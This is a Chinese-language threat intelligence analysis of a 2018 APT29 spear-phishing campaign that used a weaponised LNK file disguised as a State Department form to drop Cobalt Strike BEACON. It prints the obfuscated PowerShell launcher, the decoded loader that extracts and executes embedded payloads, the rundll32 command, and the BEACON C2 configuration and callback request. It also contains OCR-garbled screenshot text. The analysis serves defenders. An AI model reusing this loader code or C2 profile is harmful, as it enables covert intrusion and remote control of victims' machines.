angel010 / 2018-11-23 09:02:00 / 浏览数 2874 技术文章 技术文章 顶(0) 踩(0)

攻击活动

攻击者伪造出钓鱼邮件来伪装成美国国家公共事务部官员分享的一份官方文档。链接指向的是一个含有武器化的Windows快捷方式文件的zip文件,Windows快捷方式文件

执行后,快捷方式文件会释放一个非恶意的公开的美国国务院表格和Cobalt Strike Beacon。Cobalt Strike是一款商业化的渗透测试工具框架。BEACON payload被配置为修改过的"Pandora" Malleable C2 Profile变种,而且使用了C2域名pandorasong[.]com作为Pandora音乐流服务的伪装。定制的C2 Profile可能是为了应对基于默认配置的网络检测方法。快捷方式元数据显示它与2016年11月的攻击活动中使用的快捷方式应该是系统或来自类似的系统。诱饵文件内容如图

U.S. Depar TRAINING/INTERNSH				tment of State		*OMB APPROVAL NO. 1405-0170 EXPIRATION DATE: 01-31-3021 ESTIMATED BURDEN: 2 hours		DATE: 01-31-2021
SECTION 1: ADDITIONAL EXCHANGE VISITOR INFORMATION								
Trainee/intern Name (Surname/Pr	lmary, Given N	ame(s) (m	ust match pass	port name)		E-mall Address		
Program Sponsor				Program Cate	gory			
							*	
Occupational Category	Current Fle	eld of Stud	ty/Profession	Experience in Field (number of years)				
Type of Degree or Certificate	e of Degree or Certificate Date Awarded (mm-dd-yyyy) or Ex			ected	Training	Training/Internship Dates (mm-dd-yyyy)		
					From		To	
Organization Name	\$	ECTION:	2: HOST ORGA	Phase Site Ad		N		Sute
City		State	ZIP Code	Website URL				
Employer ID Number (EIN)	Exchange Vi	sitor			C	ompensation		
Hours Per Week Stipend				es No If yes, how much?per				
Washani Campanadia Dalini			Compensation	Yes No	o If yes, t	value?	per_	
Workers' Compensation Policy			Compensation	Yes No	o If yes,	Does your Worker	s' Compensatio	on policy cover
Workers' Compensation Policy Yes No If yes, Name of	f Carrier		Compensation	Yes No	o If yes,	Does your Worker exchange Visitors	s' Compensation	No, exempt
Yes No If yes, Name of		Revenue	Compensation	Yes No	o If yes,	Does your Worker	s' Compensation	No, exempt
Yes No If yes, Name of	at Annual R	Revenue s \$3 Million		on to \$10 Million	_	Does your Worker exchange Visitors	s' Compensatio Yes alent coverage	No, exempt
Yes No If yes, Name of	at Annual R	\$3 Million	n 🔲 \$3 Millio		\$10	Does your Worker exchange Visitors'	s' Compensatio Yes alent coverage	No, exempt
Yes No If yes, Name of	at Annual R	\$3 Million	n 🔲 \$3 Millio	on to \$10 Million	\$10	Does your Worker exchange Visitors'	s' Compensatio Yes alent coverage	No, exempt
Yes No If yes, Name of Number of FT Employees Onsite a Location	at Annual F	\$3 Million	n 33 Millio SECTION 3: C	on to \$10 Million	\$10	Does your Worker exchange Visitors'	s' Compensatio Yes alent coverage	No, exempt
Number of FT Employees Onsite a Location Trainee/Intern - I certify that:	\$0 to	s Training	n \$3 Millik SECTION 3: Co	on to \$10 Million ERTIFICATIONS Gement Plan (T/II	\$10 \$ PP);	Does your Worker exchange Visitors' No, but equive	s' Compensation Test Services Test	No, exempt
Number of FT Employees Onsite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, at I am entering into this Exchange	at Annual R \$0 to and will follow this be Visitor Progra the United State the Exchange Vi	s Training in in orders. sitor Prog	sECTION 3: Co	on to \$10 Millon ERTIFICATIONS Gement Plan (T/II) as a Trainee or in	\$10 spp); ntern as d	Does your Worker exchange Visitors' No, but equived the property of the proper	s' Compensation The state of th	No, exempt Million or More
Number of FT Employees Onsite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, at I am entering into this Exchang engage in labor or work within t a way that will be useful to m 4. I understand that my internship on the Exchange Visitor Progra	st Annual R \$0 to Ind will follow this e Visitor Progra the United State the Exchange Vir the when I return viraining will tak im is prohibited.	s Training in in order s.s. sitor Prog home upo	n \$3 Millik SECTION 3: Ch p/internship Place r to participate a ram is to allow r on completion o	on to \$10 Million ERTIFICATIONS Gement Plan (T/I) as a Trainee or in the to enhance in firmy program. Zation listed on to	\$10 s pp); ntern as d ny skills ar	Does your Worker exchange Visitors' No, but equive to Million to \$25 Million to \$	s' Compensation Type Test Yes Test Allent coverage The state of the st	No, exempt Million or More ply to nd business
Number of FT Employees Onsite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, at I am entering into this Exchang engage in labor or work within the intent of the in a way that will be useful to must	at Annual R \$0 to so t	s STraining m in order s. sitor Program upo e place or	n \$3 Million SECTION 3: Clipation of the participate a ram is to allow ron completion only at the organiumity regarding.	cento \$10 Millon ERTIFICATIONS cement Plan (T/li as a Trainee or in the to enhance in firmy program. Ization listed on to	\$10 s pp); ntern as d ny skills ar	Does your Worker exchange Visitors' No, but equive to Million to \$25 Million to \$	s' Compensation Type Test Yes Test Allent coverage The state of the st	No, exempt Million or More ply to nd business
Number of FT Employees Onsite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, at I am entering into this Exchang. engage in labor or work within to a way that will be useful to m. 4. I understand that my internship on the Exchange Vistor Programs. I will contact the Sponsor at the 6. I will respond in a timely way to	at Annual R \$0 to and will follow this be Visitor Progra the United State the Exchange Vi- tie when I return vitralning will tak the earliest availat all inquiries and	s Training m in order s. sitor Prog home upo e place or bie opport d monitori	section 3: Cl printernship Place of to participate a ram is to allow a ron completion of only at the organi unity regarding a	cen to \$10 Million ERTIFICATIONS Element Plan (T/li as a Trainee or in the to enhance or f my program. Ezation listed on to any concerns, ch my sponsor.	\$10 s pp); ntern as d ny skills ar	Does your Worker exchange Visitors' No, but equive to Million to \$25 Million to \$	s' Compensation Type Test Yes Test Allent coverage The state of the st	No, exempt Million or More ply to nd business
Number of FT Employees Onsite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, at I am entering into this Exchang engage in labor or work within t a way that will be useful to m 4. I understand that my internship on the Exchange Visitor Progra	at Annual R \$0 to and will follow this be Visitor Progra the United State the Exchange Vi- tie when I return vitralning will tak the earliest availat all inquiries and	s Training m in order s. sitor Prog home upo e place or bie opport d monitori	section 3: Cl printernship Place of to participate a ram is to allow a ron completion of only at the organi unity regarding a	cen to \$10 Million ERTIFICATIONS Element Plan (T/li as a Trainee or in the to enhance or f my program. Ezation listed on to any concerns, ch my sponsor.	\$10 s pp); ntern as d ny skills ar	Does your Worker exchange Visitors' No, but equive to Million to \$25 Million to \$	s' Compensation Type Test Yes Test Allent coverage The state of the st	No, exempt Million or More ply to nd business
Number of FT Employees Onsite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, at I am entering into this Exchang engage in labor or work within the intent of the in a way that will be useful to me. 4. I understand that my internship on the Exchange Visitor Programs. I will contact the Sponsor at the feel will respond in a timely way to	so to some series of the will follow this e Visitor Prograthe United States the Exchange Vite when I return vitraining will take e earliest availate all inquiries and guidelines requirent of State's But in the provider of the work of	s Training in order is. sitor Prog home upo e place or ble opport d monitori red for my	section 3: Ci printernship Place to participate a ram is to allow r on completion o nity at the organi unity regarding a ram activities of r y participation in ducational and	cen to \$10 Million ERTIFICATIONS Cement Plan (T/li as a Trainee or in the to enhance or f my program. Ization listed on the any concerns, ch my sponsor. I my program. Cultural Affairs (I	\$10 \$10 \$10 \$10 \$10 \$10 \$10 \$10 \$10 \$10	Does your Worker exchange Visitors' No, but equive to will be a supposed in this T/IF and gain exposure to and that working at or deviations from the earliest possible of	S' Compensation Type S' Yes S	No, exempt Million or More ply to nd business ization while
Number of FT Employees Onsite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, at I am entering into this Exchang engage in labor or work within to a way that will be useful to multiple on the Exchange Visitor Program on the Exchange Visitor Program in the Visitor	at Annual R \$0 to Ind will follow this to Visitor Progra the United State the Exchange Vi- te when I return the individual to all inquiries and guidelines requi- tent of State's Bu- tet forth on page alty of perjury this y provides sever	s Training m in order s. sitor Prog home up e place or ole opport d monitori red for my ireau of E 3, section at the stat	section 3: Constitution of the participate a ram is to allow a ron completion only at the organiumity regarding activities of a participation in ducational and a 1, is not proviements and informational and info	con to \$10 Million ERTIFICATIONS Dement Plan (T/li as a Trainee or in the to enhance in the my program. Exation listed on the any concerns, ch my sponsor. I my program. Cultural Affairs (I ding me with a li tormation made h	\$10 \$10 \$10 \$10 \$10 \$10 \$10 \$10 \$10 \$10	Does your Worker exchange Visitors' No, but equive to will be a seen of the control of the cont	S' Compensation S' Yes Yes Alent coverage On \$25 N PP and not sim U.S. culture an another organi whis T/IPP.	No, exempt Million or More ply to nd business ization while believe that d on my knowledge,
No if yes, Name of Number of FT Employees Orisite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, at I am entering into this Exchang engage in labor or work within tan a way that will be useful to make the intent of the in a way that will be useful to make the internship on the Exchange Visitor Programation in the Exchange Visitor Programation in a timely way to form the internation in a timely way to form the internation of the internation in the intern	at Annual R \$0 to Ind will follow this to Visitor Progra the United State the Exchange Vi- te when I return the individual to all inquiries and guidelines requi- tent of State's Bu- tet forth on page alty of perjury this y provides sever	s Training m in order s. sitor Prog home up e place or ole opport d monitori red for my ireau of E 3, section at the stat	section 3: Constitution of the participate a ram is to allow a ron completion only at the organiumity regarding activities of a participation in ducational and a 1, is not proviements and informational and info	con to \$10 Million ERTIFICATIONS Dement Plan (T/li as a Trainee or in the to enhance in the my program. Exation listed on the any concerns, ch my sponsor. I my program. Cultural Affairs (I ding me with a li tormation made h	\$10 \$10 \$10 \$10 \$10 \$10 \$10 \$10 \$10 \$10	Does your Worker exchange Visitors' No, but equive to will be a seen of the control of the cont	S' Compensation S' Yes Yes Alent coverage On \$25 N PP and not sim U.S. culture an another organi whis T/IPP.	No, exempt Million or More ply to nd business ization while believe that d on my knowledge,

图1: 诱饵文件内容

攻击活动有TTP并且攻击目标与之前的活动有交叉,因此研究人员推测是APT

29的攻击活动。最近的鱼叉式钓鱼攻击活动中的恶意LNK文件ds7002.1nk与2016年11月APT

29在攻击中使用的LNK文件37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk有交叉。2018年和2016年的LNK文件在结构和代码上

其他相似点包括传播LNK文件的钓鱼活动的目标和技术。本次攻击活动与之前的APT 29攻击活动的收件人有一些是相同的。

技术分析

钓鱼邮件

邮件的发件人是DOSOneDriveNotifications-svCT-Mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa258219 Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with

you。邮件的传播在不同的受影响企业之间有明显的不同。大多数受害者收到3封左右的邮件,有的受害者收到136封之多。

每个钓鱼邮件都含有一个唯一的恶意URL,诱骗受害者点击。URL的模式如图2所示:



图2: 恶意URL结构

除了发件人邮箱地址的长度外,攻击者看似没有想要隐藏其邮件的真实地址。图3是钓鱼消息的编译过的邮件header截图。

From: DOSOneDriveNotifications <DOSOneDriveNotifications-svCT-</pre> Mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgm.org> To: "REDACTED" <REDACTED> Subject: Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with you. Thread-Topic: Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with you. Thread-Index: AQHUfCSc/7um76NhAkSH+LuPs+eRyg== Date: Wed, 14 Nov 2018 14:16:17 +0000 Message-ID: <be8cb28cc2d94191ba7e0f255ffedc82@ccnsmail1.ccns.int> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: yes X-MS-TNEF-Correlator: x-ms-exchange-transport-fromentityheader: Hosted x-originating-ip: [38.95.111.206] Content-Type: multipart/related; _006_be8cb28cc2d94191ba7e0f255ffedc82ccnsmail1ccnsint_";

boundary="

type="multipart/alternative"

X-VPM-MSG-ID: 95b1385c-b6b7-41c0-a325-78a3da074b3f

X-VPM-HOST: svcZixOut1.era.citon.com X-VPM-GROUP-ID: a8c9574c-90ee-42a6-89ae-7e83e474c27b

X-VPM-ENC-REGIME: Plaintext

X-VPM-TS-HYBRTD: 0

Return-Path: dosonedrivenotifications-svct-

mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgm.org

MIME-Version: 1.0

图3: 钓鱼邮件header

恶意链接服务于文件ds7002.zip的两个变种。第1个变种含有ds7002.lnk;ds7002.lnk是一个含有嵌入的BEACON DLL和诱饵PDF的恶意LNK文件,是用来启动PowerShell命令的。执行后,PowerShell命令会提取和执行Cobalt Strike BEACON后门和诱饵PDF。ds7002.zip的第2个变种只含有一个非恶意的文档,文档名为ds7002.pdf,下载地址为hxxps://eforms.state.gov/Forms/ds7002.PI

BEACON后门会与C2域名pandorasong[.]com (95.216.59[.]92)进行通信。域名会使用隐私保护功能,起始授权结构start of authority (SOA)记录中含有vleger@tutanota.com。

分析显示攻击者在攻击前大约30天开始配置基础设施。这与其他攻击活动相比拖延了很多,表1是该活动的时间线。

Time	Event	Source
2018-10-15 15:35:19Z	pandorasong[.]com registered	Registrant Information
2018-10-15 17:39:00Z	pandorasong[.]com SSL certificate established	Certificate Transparency
2018-10-15 18:52:06Z	Cobalt Strike server established	Scan Data
2018-11-02 10:25:58Z	LNK Weaponized	LNK Metadata
2018-11-13 17:58:41Z	3fccf531ff0ae6fedd7c586774b17a2d modified	Archive Metadata
2018-11-14 01:48:34Z	658c6fe38f95995fa8dc8f6cfe41df7b modified	Archive Metadata
2018-11-14 08:23:10Z	First observed phishing e-mail sent	Telemetry

表1: 时间线

执行

恶意LNK ds7002.1nk执行后,会执行PowerShell命令:

\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noni -ep bypass
\$zk='JHB0Z3Q9MHgwMDAlZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5
rIjtpZiAoLW5vdChUZXNOLVBhdGggJHRiKS17JG91PUdldC1DaGlsZE10ZW0gLVBhdGggJE
Vudjp0ZWlwIC1GaWx0ZXIgJHRiIC1SZWN1cnN102lmICgtbm90ICRvZSkge2V4aXR9W
01PLkRpcmVjdG9yeV06O1NldEN1cnJlbnREaXJlY3RvcnkoJG91LkRpcmVjdG9yeU5hbWUp
030kdnp2aT10ZXctT2JqZWN0IE1PLkZpbGVTdHJ1YW0gJHRiLCdPcGVuJywnUmVhZCcsJ
1J1YWRXcml0ZSc7JG91PU51dy1PYmplY3QgYnl0ZVtdKCR2Y3EtJHB0Z3QpOyRyPSR2en
ZpLlN1ZWsoJHB0Z3QsW01PLlN1ZWtPcmlnaW5dOjpCZWdpbik7JHI9JHZ6dmkuUmVhZC
gkb2UsMCwkdmNxLSRwdGd0KTskb2U9W0NvbnZ1cnRdOjpGcm9tQmFzZTY0Q2hhckFy
cmF5KCRvZSwwLCRvZS5MZW5ndGgpOyR6az1bVGV4dC5FbmNvZGluZ106OkFTQ0lJL
kddfN0cmluZygkb2UpO21leCAkems7';\$fz='FromBase'+0x40+'String';\$rhia=[Text.E
ncoding]::ASCII.GetString([Convert]::\$fz.Invoke(\$zk));iex \$rhia;

命令中使用了混淆处理,看似是为了绕过某个特定的检测逻辑。比如使用了'FromBase'+0x40+'String'来替换 FromBase64String,所以PowerShell需要base 64解码。

解码的命令中含有额外的PowerShell, PowerShell 可以读取offset 0x5e2be到offset 0x5e2be到offset 0x623b6处的ds7002.1nk的内容, base64解码提取的内容,并且以其他的powershell内容执行。嵌入的powershell代码如下:

```
$ptgt=0x0005e2be;
$vcq=0x000623b6;
$tb="ds7002.lnk";
if (-not(Test-Path $tb))
{
$oe=Get-ChildItem -Path $Env:temp -Filter $tb -Recurse;
if (-not $oe)
```

```
{
    exit
}
[IO.Directory]::SetCurrentDirectory($oe.DirectoryName);
}
$vzvi=New-Object IO.FileStream $tb,'Open','Read','ReadWrite';
$oe=New-Object byte[]($vcq-$ptgt);
$r=$vzvi.Seek($ptgt,[IO.SeekOrigin]::Begin);
$r=$vzvi.Read($oe,0,$vcq-$ptgt);
$oe=[Convert]::FromBase64CharArray($oe,0,$oe.Length);
$zk=[Text.Encoding]::ASCII.GetString($oe);
iex $zk;
```

研究人员将解码的PowerShell与2016年PowerShell嵌入的加载器代码有很多相似之处。但今年的攻击活动使用了随机的变量和函数名,并且混淆了脚本中的字符串。

```
METHETAY
                                                                                                       -Managadana Managa -Edgarnia
                                                                                            $handle = $Kernel32::CreateFile($path,
           fpfgg = -(-34 + 72) + (-46 + 60826)
                                                                                                          [IO.FileShare]::ReadWrite,
                                                                                            $acc.
                                                                                                       [IO.FileMode]::OpenOrCreate,
                                                                                            [IO.FileAttributes]::Normal,
                                                                                                                                           Şfs
           $zkefs = 20 + 0x1e + 48 - (-39 + 5955)
                                                                                            = New-Object IO.FileStream($handle, $acc)
                                                                                            return $fs
       function wcvqrx ($blthn, $wabxu, $oojjhu)
                                                                                         function xor_decode ($b, $1, $k)
                                                                                   34
124
                                                                                            for($i = 0; $i -1t $1; $i++)
         for ($wyemsp = 0; $wyemsp -1t $wabxu; $wyemsp++)
                                                                                   36
           $blthn[$wyemsp] = $blthn[$wyemsp] -bxor $00jjhu
                                                                                              $b[$i] = $b[$i] -bxor $k
                                                                                   38
       function vurfoe($iwwma, $oufgke, $edblcez, $eelag)
                                                                                   40
                                                                                          function CopyFilePart([IO.FileStream] $ifd, $os,
                                                                                          $len, [IO.FileStream] $ofd)
         $hluev = Nev-Object byte[] 8182 $fzxkdrz = $hluev.Length $iwwma.
                                                                                   41
         Seek($oufgke, [IO.SeekOrigin]::Begin) | out-null while ($edbloez -
                                                                                            Stmpbuf = New-Object byte[] 8182
                                                                                   42
                                                                                                                                 Sbuflen =
                                                                                            $tmpbuf.Length
                                                                                                               $ifd.Seek($os,
                                                                                            [IO.SeekOrigin]::Begin) | out-null
           if ($fzxkdrz -gt $edbloez)
             Sfzxkdrz = Sedbleez
                                                                                              Sifd.Read(Stmpbuf, O. Sbuflen) | out-null
```

图4: PowerShell与2016年嵌入的加载器代码有很多相似之处

PowerShell加载器代码也是混淆过的,下面是反混淆的一段代码。诱饵PDF和BEACON加载器DLL都是从LNK中特定的offset中读取的,然后解码并执行。BEACON加载器I

```
[TRUNCATED]
$jzffhy = [IO.FileAccess]::READ
$gibisec = myayxvj $("ds7002.lnk")
$oufgke = 0x48bd8
$wabxu = 0x5e2be - $oufgke
$lblij = bygtqi $gibisec $oufgke $wabxu $("%TEMP%\ds7002.PDF") Invoke-Item
$((lylyvve @((7,(30 + 0x34 - 3),65,(84 - 5),(-38 + 112),(-16 + 0x25 + 52))) 35))
$oufgke = 0x0dd8
$wabxu = 0x48bd8 - $oufgke
$yhcgpw = bygtqi $gibisec $oufgke $wabxu $("%LOCALAPPDATA%\cyzfc.dat") if
($ENV:PROCESSOR_ARCHITECTURE -eq $("AMD64")) { & ($("rundl132.exe")) $(",")
$("PointFunctionCall") }
```

释放的文件

LNK文件从执行后,会释放以下文件到受害者系统中:

- %APPDATA%\Local\cyzfc.dat (MD5: 16bbc967a8b6a365871a05c74a4f345b)
- BEACON loader DLL
- %TEMP%\ds7002.PDF (MD5: 313f4808aa2a2073005d219bc68971cd)
- · Decoy document

释放的BEACON loader DLL是RunDll32.exe用输出函数PointFunctionCall执行的:

```
"C:\Windows\system32\rundl132.exe"
C:\Users\Administrator\AppData\Local\cyzfc.dat, PointFunctionCall
```

BEACON payload含有以下配置信息:

```
authorization_id: 0x311168c
dns_sleep: 0
http_headers_c2_post_req:
   Accept: */*
```

```
Content-Type: text/xml
 X-Requested-With: XMLHttpRequest
 Host: pandorasong.com
http_headers_c2_request:
 Accept: */*
 GetContentFeatures.DLNA.ORG: 1
 Host: pandorasong[.]com
 Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
jitter: 17
named_pipes: \\\\%s\\pipe\\msagent_%x
process_inject_targets:
 %windir%\\syswow64\\rundl132.exe
 %windir%\\sysnative\\rundll32.exe
beacon_interval: 300
c2:
 conntype: SSL
 host: pandorasong[.]com
 port: 443
c2_urls:
 {\tt pandorasong[.]com/radio/xmlrpc/v45}
 pandorasong[.]com/access/
c2_user_agents: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
```

网络诵信

恶意软件成功安装或初始化后,会通过TCP/443 SSL回调C2服务器pandorasong [.]com。样本配置为使用malleable C2 profile进行网络通信。profile使用的公开的Pandora C2 profile的修改版。profile被修改为绕过特定的检测。样本GET请求如下:

```
GET /access/?version=4&lid=1582502724&token=ajlomeomnmeapoagcknffjaehikhmpep
Bdhmoefmcnoiohgkkaabfoncfninglnlbmnaahmhjjfnopdapdaholmanofaoodkiokobenhjd
Mjcmoagoimbahnlbdelchkffojeobfmnemdcoibocjgnjdkkbfeinlbnflaeiplendldlbhnhjmbg
agigjniphmemcbhmaibmfibjekfcimjlhnlamhicakfmcpljaeljhcpbmgblgnappmkpbcko
HTTP/1.1
Accept: */*
GetContentFeatures.DLNA.ORG: 1
Host: pandorasong.com
Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like
Gecko
Connection: Keep-Alive
Cache-Control: no-cache
```

对比之前活动

图5和图6表示本次攻击活动中使用的LNKds7002.1nk■2016■11■APT 29■■■■■■■LNK37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk`的对比。

```
Last accessed:
                                     07/14/2009 (04:52:32.0) [UTC]
                                                                                                                Date created:
                                                                                                                                                 07/14/2009 (04:52:32.0) [UTC]
     Long directory name:
                                          WindowsPowerShell
                                                                                                                Last accessed:
                                                                                                                Long directory name:
                                                                                                                                                      WindowsPowerShell
                                     02/16/2016 (18:50:44.0) [UTC]
    Last modified:
                                                                                                                                                 02/16/2016 (18:50:44.0) [UTC]
                                     0x00000010 (FILE_ATTRIBUTE_DIRECTORY)
                                                                                                                Last modified:
    Folder attributes:
    Short directory name:
                                          v1.0
                                                                                                                Folder attributes:
                                                                                                                                                 0x00000010 (FILE_ATTRIBUTE_DIRECTORY)
                                     07/14/2009 (04:52:32.0) [UTC]
                                                                                                                Short directory name:
    Date created:
                                                                                                                                                 07/14/2009 (04:52:32.0) [UTC]
    Last accessed:
                                     02/16/2016 (18:50:44.0) [UTC]
                                                                                                               Date created:
                                                                                                                                                 02/16/2016 (18:50:44.0) [UTC]
    Long directory name:
                                                                                                                Long directory name:
                                                                                                                                                     v1.0
    File size:
                                452608 bytes
    Last modified:
                                     07/14/2009 (01:14:26.0) [UTC]
    File attributes:
                                     0x00000020 (FILE_ATTRIBUTE_ARCHIVE)
                                                                                                                Last modified:
                                                                                                                                                 07/14/2009 (01:14:26.0) [UTC]
                                     powershell.exe
07/13/2009 (23:32:38.0) [UTC]
07/13/2009 (23:32:38.0) [UTC]
                                                                                                                File attributes:
                                                                                                                                                 0x00000020
                                                                                                                                                              (FILE_ATTRIBUTE_ARCHIVE)
                                                                                                                                                 powershell.exe
    Date created:
                                                                                                                8.3 filename:
                                                                                                                                                 07/13/2009 (23:32:38.0) [UTC]
07/13/2009 (23:32:38.0) [UTC]
                                                                                                                Date created:
    Long filename:
                                     powershell.exe
                                                                                                                Last accessed:
                                                                                                               Long filename:
                                                                                                                                                 powershell.exe
                                                                                                                [Link Info]
    Location flags:
                                    0x00000001 (VolumeIDAndLocalBasePath)
    Drive type:
                                          (DRIVE FIXED)
                                                                                                                                                0x00000001 (VolumeIDAndLocalBasePath)
                                                                                                                Location flags:
                                                                                                                                                      (DRIVE_FIXED)
58 Drive serial number:
                                                                                                                Drive type:
                                          c4b2-bd1c
                                                                                                           58 Drive serial number:
59 Volume label (ASCII):
    Volume label (ASCII):
                                                                                                                                                      c4h2-hd1c
    Local path (ASCII):
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                               Local path (ASCII):
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    [String Data]
                                    ds7002.pdf
                                                                                                                [String Data]
      omment (UNICODE):
    Relative path (UNICODE):
                                                                                                                Relative path (UNICODE):
     .\.\.\.\.\.\.\.\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                 ..\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            nts (UNICODE):
                                                                                                                Arguments (UNICODE): -noni -ep bypass -win hidden $s = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JG9zPTB4MDAwOWZkZ
    Arguments (UNICODE): -noni -ep bypass
$zk='JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIZYjY7JHRiPSJkczcwMDIubG5rIjtpZiAoLW5
    vdChUZXNOLVBhddgggJHRiKS17JG91PUd1dClDaGlsZE10ZW0gLVBhdGggJEVudjp0ZW1w1ClGaWx0ZXI
gJHR1IC1SZWN1cnN1021m1Cgtbm901CRvZSkge2V4aXR9W01PLkRpcmVjdG9yeV0601N1dEN1cnJ1bnR
                                                                                                                GE7JG91PTB4MDAwYTE5MTY7JGY91jM3NDg2LXRoZ51zaG9ja2luZy10cnV0aC1hYm91dC1lbGVjdGlv
bilyaWdnaW5nLW1uLWFcZXJpY2EucnRmLmxuay17aWYgKC1ub3QoVGVzdC1QYXRoICRmKS17JHggPSB
    EaXJ1Y3RvcnkoJG91LkRpcmVidG9veU5hbWUp030kdnp2aT10ZXctT2JgZWN0IE1PLkZpbGVTdHJ1YW0
                                                                                                                HZXOtO2hpbGRJdGVtIC10YXRoICRFbnY6dGVtcCAtRmlsdGVvICRmIC1SZWN1cnN101tJTv5EaXJ1Y3
     gJHRilCdPcGVuJywnUmVhZCcsJ1J1YWRXcm10ZSc7JG91PU51dy1PYmp1Y3QgYn10ZVtdKCR2Y3EtJHB
                                                                                                                RvcnldOjpTZXRDdXJyZW50RG1yZWN0b3J5KCR4LkRpcmVjdG9yeU5hbWUpO30kaWZkID0gTmV3LU9ia
    0Z3QpOyRyPSR2enZpL1N1ZWsoJHB0Z3QsW01PL1N1ZWtPcmlnaW5dOjpCZWdpbik7JHI9JHZ6dmkuUmV
                                                                                                                mVjdCBJTy5GaWx1U3RyZWFtICRmLCdPcGVuJywnUmVhZCcsJ1J1YWRXcm10ZSc7JHggPSB0ZXctT2Jq
    hZCgkb2UsMCwkdmNxLSRwdGd0KTskb2U9W0NvbnZlcnRdOjpGcm9tQmFzZTYOQ2hhckFycmF5KCRvZSw
wLCRvZS5MZW5ndGgpOyR6az1bVGV4dC5FbmNvZGluZ106OkFTQ01JLkdldFN0cmluZygkb2UpO211eCA
                                                                                                               ZWNOIGJSdGVbXSgkb2UtJG9zKTskaWZkL1N1ZWsoJG9zLFtJTySTZWVrT3Jp221uXTc6QmVnaW4pOyR
pZmQuUmVhZCgkeCwwLCRvZSOkb3MpOyR4FVtDb252ZXJOXTc6RnJvbUJhc2U2NENoYXJBcnJheSgkeC
    kems7';$fz='FromBase'+0x40+'String';$rhia=[Text.Encoding]::ASCII.GetString([Conv
                                                                                                                wwLCR4Lkx1bmdOaCk7JHM9W1RleHQuRW5jb2RpbmddOjpBUONJSS5HZXRTdHJpbmcoJHgpO211eCAkc
     ert]::$fz.Invoke($zk));iex $rhia;
```

图5: LNK特征对比: 2018新活动(左) vs 2016年攻击活动(右)

```
Icon location (UNICODE):
                               C:\windows\system32\shell32.dll
                                                                                           Icon location (UNICODE):
                                                                                                                          C:\Windows\System32\shell32.dll
[Icon Location]
                                                                                           [Icon Location]
Icon location (ASCII):
                                %SystemRoot%\system32\shell32.dll
                                                                                          Icon location (ASCII):
                                                                                                                           %SystemRoot%\System32\shell32.dll
                                                                                                                          %SystemRoot%\System32\shell32.dll
Icon location (UNICODE):
                               %SystemRoot%\system32\shell32.dll
                                                                                          Icon location (UNICODE):
[Known Folder Location]
                                                                                           [Known Folder Location]
                           1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 = System
                                                                                                                      1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 = System
Known folder GUID:
                                                                                          Known folder GUID:
First child segment offset:
                                                                                          First child segment offset:
[Metadata Property Store]
                                                                                           [Metadata Property Store]
Property set GUID:
                           46588ae2-4cbc-4338-bbfc-139326986dce
                                                                                          Property set GUID:
                                                                                                                      46588ae2-4cbc-4338-bbfc-139326986dce
Value:
                       0x001f (VT LPWSTR)
                                                                                          Value:
                                                                                                                  0x001f (VT LPWSTR)
S-1-5-21-1764276529-1526541935-4264456457-1000
                                                                                          S-1-5-21-1764276529-1526541935-4264456457-1000
[Special Folder Location]
                                                                                           [Special Folder Location]
Special folder identifier:
                                                                                           Special folder identifier:
                                       (System)
                                                                                                                                  (System)
                               213 bytes
                                                                                                                          213 bytes
First child segment offset:
                                                                                          First child segment offset:
[Distributed Link Tracker Properties]
                                                                                          [Distributed Link Tracker Properties]
NetBIOS name:
                           user-pc
                                                                                          NetBIOS name:
                                                                                                                      user-pc
                                c59b0b22-7202-4410-b323-894349c1d75b
                                                                                                                          c59b0b22-7202-4410-b323-894349c1d75b
Droid volume identifier:
                                                                                           Droid volume identifier:
                                                                                                                          bf069f66-8be6-11e6-b3d9-0800279224e5
                               bf069f66-8be6-11e6-b3d9-0800279224e5
Droid file identifier:
                                                                                          Droid file identifier:
                                c59b0b22-7202-4410-b323-894349c1d75b
                                                                                                                           c59b0b22-7202-4410-b323-894349c1d75b
Birth droid volume identifier:
                                                                                          Birth droid volume identifier:
Birth droid file identifier:
                                   bf069f66-8be6-11e6-b3d9-0800279224e5
                                                                                          Birth droid file identifier:
                                                                                                                              bf069f66-8be6-11e6-b3d9-0800279224e5
MAC address:
                            08:00:27:92:24:e5
                                                                                          MAC address:
                                                                                                                     08:00:27:92:24:e5
UUID timestamp:
                           10/06/2016 (17:03:04.500) [UTC]
                                                                                          UUID timestamp:
                                                                                                                      10/06/2016 (17:03:04.500) [UTC]
UUID sequence number:
                                                                                           UUID sequence number:
                                                                                                                          13273
Unknown data at end of file.
                                                                                           Unknown data at end of file.
```

